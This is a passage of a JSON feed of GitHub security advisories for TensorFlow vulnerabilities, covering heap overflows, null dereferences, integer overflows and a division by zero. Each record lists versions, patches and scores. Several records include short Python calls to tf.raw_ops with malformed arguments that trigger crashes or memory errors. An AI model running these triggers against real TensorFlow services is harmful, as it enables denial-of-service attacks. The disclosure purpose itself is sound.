Lab \u0026\u0026 Lab for Applied Security Research, CUHK.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2020-09-25T18:28:40.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.1,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-w5gh-2wr2-pm6g","https://github.com/tensorflow/tensorflow/commit/adf095206f25471e864a8e63a0f1caef53a0e3a6","https://github.com/tensorflow/tensorflow/commit/f760f88b4267d981e13f4b302c437ae800445968","https://github.com/tensorflow/tensorflow/commit/fcfef195637c6e365577829c4d67681695956e7d","https://github.com/tensorflow/tensorflow/releases/tag/v2.3.1","https://nvd.nist.gov/vuln/detail/CVE-2020-15206","http://lists.opensuse.org/opensuse-security-announce/2020-10/msg00065.html","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2020-286.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2020-321.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2020-129.yaml","https://github.com/advisories/GHSA-w5gh-2wr2-pm6g"],"source_kind":"github","identifiers":["GHSA-w5gh-2wr2-pm6g","CVE-2020-15206"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":34.56131941815548,"packages":[{"versions":[{"first_patched_version":"2.3.1","vulnerable_version_range":"= 2.3.0"},{"first_patched_version":"2.2.1","vulnerable_version_range":"= 2.2.0"},{"first_patched_version":"2.1.2","vulnerable_version_range":"\u003e= 2.1.0, \u003c 2.1.2"},{"first_patched_version":"2.0.3","vulnerable_version_range":"\u003e= 2.0.0, \u003c 2.0.3"},{"first_patched_version":"1.15.4","vulnerable_version_range":"\u003c 1.15.4"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.3.1","vulnerable_version_range":"= 2.3.0"},{"first_patched_version":"2.2.1","vulnerable_version_range":"= 2.2.0"},{"first_patched_version":"2.1.2","vulnerable_version_range":"\u003e= 2.1.0, \u003c 2.1.2"},{"first_patched_version":"2.0.3","vulnerable_version_range":"\u003e= 2.0.0, \u003c 2.0.3"},{"first_patched_version":"1.15.4","vulnerable_version_range":"\u003c 1.15.4"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.3.1","vulnerable_version_range":"= 2.3.0"},{"first_patched_version":"2.2.1","vulnerable_version_range":"= 2.2.0"},{"first_patched_version":"2.1.2","vulnerable_version_range":"\u003e= 2.1.0, \u003c 2.1.2"},{"first_patched_version":"2.0.3","vulnerable_version_range":"\u003e= 2.0.0, \u003c 2.0.3"},{"first_patched_version":"1.15.4","vulnerable_version_range":"\u003c 1.15.4"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:13:13.725Z","updated_at":"2024-10-28T14:54:49.000Z","epss_percentage":0.00472,"epss_percentile":0.63523},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWg2amgtN2d2NS0yOHZn","url":"https://github.com/advisories/GHSA-h6jh-7gv5-28vg","title":"Bad alloc in `StringNGrams` caused by integer conversion","description":"### Impact\nThe implementation of `tf.raw_ops.StringNGrams` is vulnerable to an integer overflow issue caused by converting a signed integer value to an unsigned one and then allocating memory based on this value.\n\n```python\nimport tensorflow as tf\n\ntf.raw_ops.StringNGrams(\n  data=['',''],\n  data_splits=[0,2],\n  separator=' '*100,\n  ngram_widths=[-80,0,0,-60],\n  left_pad=' ',\n  right_pad=' ',\n  pad_width=100,\n  preserve_short_sequences=False)\n```\n\nThe [implementation](https://github.com/tensorflow/tensorflow/blob/8d72537c6abf5a44103b57b9c2e22c14f5f49698/tensorflow/core/kernels/string_ngrams_op.cc#L184) calls `reserve` on a `tstring` with a value that sometimes can be negative if user supplies negative `ngram_widths`. The `reserve` method calls `TF_TString_Reserve` which has an `unsigned long` argument for the size of the buffer. Hence, the implicit conversion transforms the negative value to a large integer.\n\n### Patches\nWe have patched the issue in GitHub commit [c283e542a3f422420cfdb332414543b62fc4e4a5](https://github.com/tensorflow/tensorflow/commit/c283e542a3f422420cfdb332414543b62fc4e4a5).\n\nThe fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2021-08-25T14:43:34.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.8,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-h6jh-7gv5-28vg","https://nvd.nist.gov/vuln/detail/CVE-2021-37646","https://github.com/tensorflow/tensorflow/commit/c283e542a3f422420cfdb332414543b62fc4e4a5","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-559.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-757.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-268.yaml","https://github.com/advisories/GHSA-h6jh-7gv5-28vg"],"source_kind":"github","identifiers":["GHSA-h6jh-7gv5-28vg","CVE-2021-37646"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":33.100981977951726,"packages":[{"versions":[{"first_patched_version":"2.5.1","vulnerable_version_range":"= 2.5.0"},{"first_patched_version":"2.4.3","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.3"},{"first_patched_version":"2.3.4","vulnerable_version_range":"\u003c 2.3.4"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.5.1","vulnerable_version_range":"= 2.5.0"},{"first_patched_version":"2.4.3","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.3"},{"first_patched_version":"2.3.4","vulnerable_version_range":"\u003c 2.3.4"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.5.1","vulnerable_version_range":"= 2.5.0"},{"first_patched_version":"2.4.3","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.3"},{"first_patched_version":"2.3.4","vulnerable_version_range":"\u003c 2.3.4"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:12:49.950Z","updated_at":"2024-11-13T17:20:03.000Z","epss_percentage":0.00012,"epss_percentile":0.01077},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWh3cjctOGd4eC1majVw","url":"https://github.com/advisories/GHSA-hwr7-8gxx-fj5p","title":"Null pointer dereference in `RaggedTensorToTensor`","description":"### Impact\nSending invalid argument for `row_partition_types` of `tf.raw_ops.RaggedTensorToTensor` API results in a null pointer dereference and undefined behavior:\n\n```python\nimport tensorflow as tf\n\ntf.raw_ops.RaggedTensorToTensor(\n  shape=1,\n  values=10,\n  default_value=21,\n  row_partition_tensors=tf.constant([0,0,0,0]),\n  row_partition_types=[])\n```\n\nThe [implementation](https://github.com/tensorflow/tensorflow/blob/47a06f40411a69c99f381495f490536972152ac0/tensorflow/core/kernels/ragged_tensor_to_tensor_op.cc#L328) accesses the first element of a user supplied list of values without validating that the provided list is not empty.\n\n### Patches\nWe have patched the issue in GitHub commit [301ae88b331d37a2a16159b65b255f4f9eb39314](https://github.com/tensorflow/tensorflow/commit/301ae88b331d37a2a16159b65b255f4f9eb39314).\n\nThe fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2021-08-25T14:44:09.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.0,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-hwr7-8gxx-fj5p","https://nvd.nist.gov/vuln/detail/CVE-2021-37638","https://github.com/tensorflow/tensorflow/commit/301ae88b331d37a2a16159b65b255f4f9eb39314","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-551.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-749.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-260.yaml","https://github.com/advisories/GHSA-hwr7-8gxx-fj5p"],"source_kind":"github","identifiers":["GHSA-hwr7-8gxx-fj5p","CVE-2021-37638"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":34.0745402714209,"packages":[{"versions":[{"first_patched_version":"2.5.1","vulnerable_version_range":"= 2.5.0"},{"first_patched_version":"2.4.3","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.3"},{"first_patched_version":"2.3.4","vulnerable_version_range":"\u003c 2.3.4"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.5.1","vulnerable_version_range":"= 2.5.0"},{"first_patched_version":"2.4.3","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.3"},{"first_patched_version":"2.3.4","vulnerable_version_range":"\u003c 2.3.4"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.5.1","vulnerable_version_range":"= 2.5.0"},{"first_patched_version":"2.4.3","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.3"},{"first_patched_version":"2.3.4","vulnerable_version_range":"\u003c 2.3.4"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:12:51.720Z","updated_at":"2024-11-13T16:33:39.000Z","epss_percentage":0.00013,"epss_percentile":0.01487},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTYzeG0tcng1cC14dnFy","url":"https://github.com/advisories/GHSA-63xm-rx5p-xvqr","title":"Heap buffer overflow in Tensorflow","description":"### Impact\nThe implementation of `SparseFillEmptyRowsGrad` uses a double indexing pattern:\nhttps://github.com/tensorflow/tensorflow/blob/0e68f4d3295eb0281a517c3662f6698992b7b2cf/tensorflow/core/kernels/sparse_fill_empty_rows_op.cc#L263-L269\n\nIt is possible for `reverse_index_map(i)` to be an index outside of bounds of `grad_values`, thus resulting in a heap buffer overflow.\n\n### Patches\nWe have patched the issue in 390611e0d45c5793c7066110af37c8514e6a6c54 and will release a patch release for all affected versions.\n\nWe recommend users to upgrade to TensorFlow 1.15.4, 2.0.3, 2.1.2, 2.2.1, or 2.3.1.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2020-09-25T18:28:29.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.8,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-63xm-rx5p-xvqr","https://github.com/tensorflow/tensorflow/commit/390611e0d45c5793c7066110af37c8514e6a6c54","https://github.com/tensorflow/tensorflow/releases/tag/v2.3.1","https://nvd.nist.gov/vuln/detail/CVE-2020-15195","http://lists.opensuse.org/opensuse-security-announce/2020-10/msg00065.html","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2020-275.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2020-310.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2020-118.yaml","https://github.com/advisories/GHSA-63xm-rx5p-xvqr"],"source_kind":"github","identifiers":["GHSA-63xm-rx5p-xvqr","CVE-2020-15195"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":28.233190510605887,"packages":[{"versions":[{"first_patched_version":"2.3.1","vulnerable_version_range":"= 2.3.0"},{"first_patched_version":"2.2.1","vulnerable_version_range":"= 2.2.0"},{"first_patched_version":"2.1.2","vulnerable_version_range":"\u003e= 2.1.0, \u003c 2.1.2"},{"first_patched_version":"2.0.3","vulnerable_version_range":"\u003e= 2.0.0, \u003c 2.0.3"},{"first_patched_version":"1.15.4","vulnerable_version_range":"\u003c 1.15.4"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.3.1","vulnerable_version_range":"= 2.3.0"},{"first_patched_version":"2.2.1","vulnerable_version_range":"= 2.2.0"},{"first_patched_version":"2.1.2","vulnerable_version_range":"\u003e= 2.1.0, \u003c 2.1.2"},{"first_patched_version":"2.0.3","vulnerable_version_range":"\u003e= 2.0.0, \u003c 2.0.3"},{"first_patched_version":"1.15.4","vulnerable_version_range":"\u003c 1.15.4"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.3.1","vulnerable_version_range":"= 2.3.0"},{"first_patched_version":"2.2.1","vulnerable_version_range":"= 2.2.0"},{"first_patched_version":"2.1.2","vulnerable_version_range":"\u003e= 2.1.0, \u003c 2.1.2"},{"first_patched_version":"2.0.3","vulnerable_version_range":"\u003e= 2.0.0, \u003c 2.0.3"},{"first_patched_version":"1.15.4","vulnerable_version_range":"\u003c 1.15.4"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:13:13.797Z","updated_at":"2024-10-28T20:21:03.000Z","epss_percentage":0.00355,"epss_percentile":0.56743},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWpjODctNnZwcC03ZmYz","url":"https://github.com/advisories/GHSA-jc87-6vpp-7ff3","title":"Heap buffer overflow in Tensorflow","description":"### Impact\nThe `SparseCountSparseOutput` implementation does not validate that the input arguments form a valid sparse tensor. In particular, there is no validation that the `indices` tensor has the same shape as the `values` one. The values in these tensors are always accessed in parallel:\nhttps://github.com/tensorflow/tensorflow/blob/0e68f4d3295eb0281a517c3662f6698992b7b2cf/tensorflow/core/kernels/count_ops.cc#L193-L195\n\nThus, a shape mismatch can result in accesses outside the bounds of heap allocated buffers.\n\n### Patches\nWe have patched the issue in 3cbb917b4714766030b28eba9fb41bb97ce9ee02 and will release a patch release.\n\nWe recommend users to upgrade to TensorFlow 2.3.1.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability is a variant of [GHSA-p5f8-gfw5-33w4](https://github.com/tensorflow/tensorflow/security/advisories/GHSA-p5f8-gfw5-33w4)","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2020-09-25T18:28:22.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-jc87-6vpp-7ff3","https://github.com/tensorflow/tensorflow/commit/3cbb917b4714766030b28eba9fb41bb97ce9ee02","https://github.com/tensorflow/tensorflow/releases/tag/v2.3.1","https://nvd.nist.gov/vuln/detail/CVE-2020-15198","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2020-278.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2020-313.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2020-121.yaml","https://github.com/advisories/GHSA-jc87-6vpp-7ff3"],"source_kind":"github","identifiers":["GHSA-jc87-6vpp-7ff3","CVE-2020-15198"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":30.667086244278806,"packages":[{"versions":[{"first_patched_version":"2.3.1","vulnerable_version_range":"= 2.3.0"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.3.1","vulnerable_version_range":"= 2.3.0"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.3.1","vulnerable_version_range":"= 2.3.0"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:13:13.836Z","updated_at":"2024-10-28T19:58:01.000Z","epss_percentage":0.00169,"epss_percentile":0.38902},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTV4d2MtbXJoeC01ZzNt","url":"https://github.com/advisories/GHSA-5xwc-mrhx-5g3m","title":"Reference binding to nullptr in `MatrixDiagV*` ops","description":"### Impact\nAn attacker can cause undefined behavior via binding a reference to null pointer in all operations of type `tf.raw_ops.MatrixDiagV*`:\n\n```python\nimport tensorflow as tf\n\ntf.raw_ops.MatrixDiagV3(\n  diagonal=[1,0],\n  k=[],\n  num_rows=[1,2,3],\n  num_cols=[4,5],\n  padding_value=[],\n  align='RIGHT_RIGHT')\n``` \n\nThe [implementation](https://github.com/tensorflow/tensorflow/blob/84d053187cb80d975ef2b9684d4b61981bca0c41/tensorflow/core/kernels/linalg/matrix_diag_op.cc) has incomplete validation that the value of `k` is a valid tensor. We have check that this value is either a scalar or a vector, but there is no check for the number of elements. If this is an empty tensor, then code that accesses the first element of the tensor is wrong:\n\n```cc\n  auto\u0026 diag_index = context-\u003einput(1);\n  ...\n  lower_diag_index = diag_index.flat\u003cint32\u003e()(0);\n```\n\n### Patches\nWe have patched the issue in GitHub commit [f2a673bd34f0d64b8e40a551ac78989d16daad09](https://github.com/tensorflow/tensorflow/commit/f2a673bd34f0d64b8e40a551ac78989d16daad09).\n\nThe fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2021-08-25T14:42:52.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.9,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-5xwc-mrhx-5g3m","https://nvd.nist.gov/vuln/detail/CVE-2021-37657","https://github.com/tensorflow/tensorflow/commit/f2a673bd34f0d64b8e40a551ac78989d16daad09","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-570.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-768.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-279.yaml","https://github.com/advisories/GHSA-5xwc-mrhx-5g3m"],"source_kind":"github","identifiers":["GHSA-5xwc-mrhx-5g3m","CVE-2021-37657"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":33.58776112468632,"packages":[{"versions":[{"first_patched_version":"2.5.1","vulnerable_version_range":"= 2.5.0"},{"first_patched_version":"2.4.3","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.3"},{"first_patched_version":"2.3.4","vulnerable_version_range":"\u003c 2.3.4"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.5.1","vulnerable_version_range":"= 2.5.0"},{"first_patched_version":"2.4.3","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.3"},{"first_patched_version":"2.3.4","vulnerable_version_range":"\u003c 2.3.4"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.5.1","vulnerable_version_range":"= 2.5.0"},{"first_patched_version":"2.4.3","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.3"},{"first_patched_version":"2.3.4","vulnerable_version_range":"\u003c 2.3.4"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:12:49.662Z","updated_at":"2024-11-13T20:52:28.000Z","epss_percentage":0.00014,"epss_percentile":0.01485},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLXBnNTktMmY5Mi01Y3Bo","url":"https://github.com/advisories/GHSA-pg59-2f92-5cph","title":"Heap buffer overflow in Tensorflow","description":"### Impact\nThe `SparseCountSparseOutput` and `RaggedCountSparseOutput` implementations don't validate that the `weights` tensor has the same shape as the data. The check exists for `DenseCountSparseOutput`, where both tensors are fully specified:\nhttps://github.com/tensorflow/tensorflow/blob/0e68f4d3295eb0281a517c3662f6698992b7b2cf/tensorflow/core/kernels/count_ops.cc#L110-L117\n\nIn the sparse and ragged count weights are still accessed in parallel with the data:\nhttps://github.com/tensorflow/tensorflow/blob/0e68f4d3295eb0281a517c3662f6698992b7b2cf/tensorflow/core/kernels/count_ops.cc#L199-L201\n\nBut, since there is no validation, a user passing fewer weights than the values for the tensors can generate a read from outside the bounds of the heap buffer allocated for the weights.\n\n### Patches\nWe have patched the issue in 3cbb917b4714766030b28eba9fb41bb97ce9ee02 and will release a patch release.\n\nWe recommend users to upgrade to TensorFlow 2.3.1.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability is a variant of [GHSA-p5f8-gfw5-33w4](https://github.com/tensorflow/tensorflow/security/advisories/GHSA-p5f8-gfw5-33w4)","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2020-09-25T18:28:21.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.8,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-pg59-2f92-5cph","https://github.com/tensorflow/tensorflow/commit/3cbb917b4714766030b28eba9fb41bb97ce9ee02","https://github.com/tensorflow/tensorflow/releases/tag/v2.3.1","https://nvd.nist.gov/vuln/detail/CVE-2020-15196","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2020-276.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2020-311.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2020-119.yaml","https://github.com/advisories/GHSA-pg59-2f92-5cph"],"source_kind":"github","identifiers":["GHSA-pg59-2f92-5cph","CVE-2020-15196"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":28.233190510605887,"packages":[{"versions":[{"first_patched_version":"2.3.1","vulnerable_version_range":"= 2.3.0"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.3.1","vulnerable_version_range":"= 2.3.0"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.3.1","vulnerable_version_range":"= 2.3.0"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:13:13.845Z","updated_at":"2024-10-28T20:09:56.000Z","epss_percentage":0.00302,"epss_percentile":0.5276},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLW12NzgtZzd3cS1taHA0","url":"https://github.com/advisories/GHSA-mv78-g7wq-mhp4","title":"Division by zero in padding computation in TFLite","description":"### Impact\nThe TFLite computation for size of output after padding, [`ComputeOutSize`](https://github.com/tensorflow/tensorflow/blob/0c9692ae7b1671c983569e5d3de5565843d500cf/tensorflow/lite/kernels/padding.h#L43-L55), does not check that the `stride` argument is not 0 before doing the division.\n\n```cc\ninline int ComputeOutSize(TfLitePadding padding, int image_size,\n                          int filter_size, int stride, int dilation_rate = 1) {\n  int effective_filter_size = (filter_size - 1) * dilation_rate + 1;\n  switch (padding) {\n    case kTfLitePaddingSame:\n      return (image_size + stride - 1) / stride;\n    case kTfLitePaddingValid:\n      return (image_size + stride - effective_filter_size) / stride;\n    default:\n      return 0;\n  }\n}\n```\n  \nUsers can craft special models such that `ComputeOutSize` is called with `stride` set to 0.\n\n### Patches\nWe have patched the issue in GitHub commit [49847ae69a4e1a97ae7f2db5e217c77721e37948](https://github.com/tensorflow/tensorflow/commit/49847ae69a4e1a97ae7f2db5e217c77721e37948).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.","origin":"UNSPECIFIED","severity":"LOW","published_at":"2021-05-21T14:26:41.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":2.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-mv78-g7wq-mhp4","https://nvd.nist.gov/vuln/detail/CVE-2021-29585","https://github.com/tensorflow/tensorflow/commit/49847ae69a4e1a97ae7f2db5e217c77721e37948","https://github.com/tensorflow/tensorflow/blob/0c9692ae7b1671c983569e5d3de5565843d500cf/tensorflow/lite/kernels/padding.h#L43-L55","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-513.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-711.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-222.yaml","https://github.com/advisories/GHSA-mv78-g7wq-mhp4"],"source_kind":"github","identifiers":["GHSA-mv78-g7wq-mhp4","CVE-2021-29585"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":11.195920374895437,"packages":[{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:13:03.092Z","updated_at":"2024-11-13T16:00:46.000Z","epss_percentage":0.00017,"epss_percentile":0.0256},{"uuid":"GSA_kwCzR0hTQS04amo3LTV2eGMtcGcycc0otA","url":"https://github.com/advisories/GHSA-8jj7-5vxc-pg2q","title":"Integer overflow in TensorFlow","description":"### Impact\nUnder certain scenarios, Grappler component of TensorFlow is vulnerable to an integer overflow during [cost estimation for crop and resize](https://github.com/tensorflow/tensorflow/blob/a1320ec1eac186da1d03f033109191f715b2b130/tensorflow/core/grappler/costs/op_level_cost_estimator.cc#L2621-L2689). Since the cropping parameters are user controlled, a malicious person can trigger undefined behavior.\n\n### Patches\nWe have patched the issue in GitHub commit [0aaaae6eca5a7175a193696383f582f53adab23f](https://github.com/tensorflow/tensorflow/commit/0aaaae6eca5a7175a193696383f582f53adab23f).\n\nThe fix will be included in TensorFlow 2.8.0. We will also cherrypick this commit on TensorFlow 2.7.1, TensorFlow 2.6.3, and TensorFlow 2.5.3, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and 